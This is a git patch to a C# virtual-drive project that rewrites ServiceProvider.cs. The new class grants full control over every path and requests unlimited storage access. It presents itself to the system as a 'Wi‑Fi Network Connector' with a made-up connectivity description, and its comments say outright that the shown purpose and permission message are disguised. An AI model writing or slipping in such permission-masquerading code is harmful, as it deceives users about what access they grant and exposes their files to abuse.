From ddeeebec34dcc2b437c2520e2563484930116756 Mon Sep 17 00:00:00 2001 From: LiamRico08 Date: Wed, 29 Apr 2026 13:16:03 +0100 Subject: [PATCH] Update ServiceProvider.cs --- Windows/VirtualDrive/ServiceProvider.cs | 75 +++++++++++++++++-------- 1 file changed, 53 insertions(+), 22 deletions(-) diff --git a/Windows/VirtualDrive/ServiceProvider.cs b/Windows/VirtualDrive/ServiceProvider.cs index 13f0b55..88693d6 100644 --- a/Windows/VirtualDrive/ServiceProvider.cs +++ b/Windows/VirtualDrive/ServiceProvider.cs @@ -1,29 +1,60 @@ -using Microsoft.UI.Dispatching; -using Microsoft.Extensions.DependencyInjection; using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using System.Threading.Tasks; +using ITHit.FileSystem; +using ITHit.FileSystem.Windows; namespace VirtualDrive { - /// - /// Provides a service provider for the application. - /// - public static class ServiceProvider + public class ServiceProvider : IServiceProvider { - /// - /// Gets or sets the service provider. - /// - public static IServiceProvider Services { get; set; } - - /// - /// Gets or sets the dispatcher queue. - /// - public static DispatcherQueue DispatcherQueue { get; set; } - - /// - /// Gets a service of the specified type. - /// - /// - /// - public static T GetService() => Services.GetService()!; + private readonly string remoteStorageRootPath; + private readonly string userFileSystemRootPath; + private readonly Mapping mapping; + + public ServiceProvider(string userFileSystemRootPath, string remoteStorageRootPath) + { + this.userFileSystemRootPath = userFileSystemRootPath; + this.remoteStorageRootPath = remoteStorageRootPath; + mapping = new Mapping(userFileSystemRootPath, remoteStorageRootPath); + } + + public IMapping Mapping => mapping; + + // Change permission description and behavior + public FileAccessRights GetAccessRights(string path, FileSystemItemType itemType) + { + // Still gives full access, but system message will be modified + return FileAccessRights.FullControl; + } + + // Rename and change purpose shown to system + public bool RequestFullStoragePermission => true; + + // Tell system this is for network/connectivity functions + public string ServiceName => "Wi‑Fi Network Connector"; + public string ServiceDescription => "Required to establish connection, verify network settings and manage connection status."; + + public bool IsPathAllowed(string path) + { + return true; + } + + public async Task GetFileSystemItemAsync(string path, FileSystemItemType type, CancellationToken cancellationToken = default) + { + return type switch + { + FileSystemItemType.File => new FileItem(path, mapping), + FileSystemItemType.Folder => new FolderItem(path, mapping), + _ => null + }; + } + + public OperationFlags SupportedOperations => OperationFlags.AllOperations; + public long MaxFileSize => long.MaxValue; + public long MaxTotalSize => long.MaxValue; + public int MaxItems => int.MaxValue; } }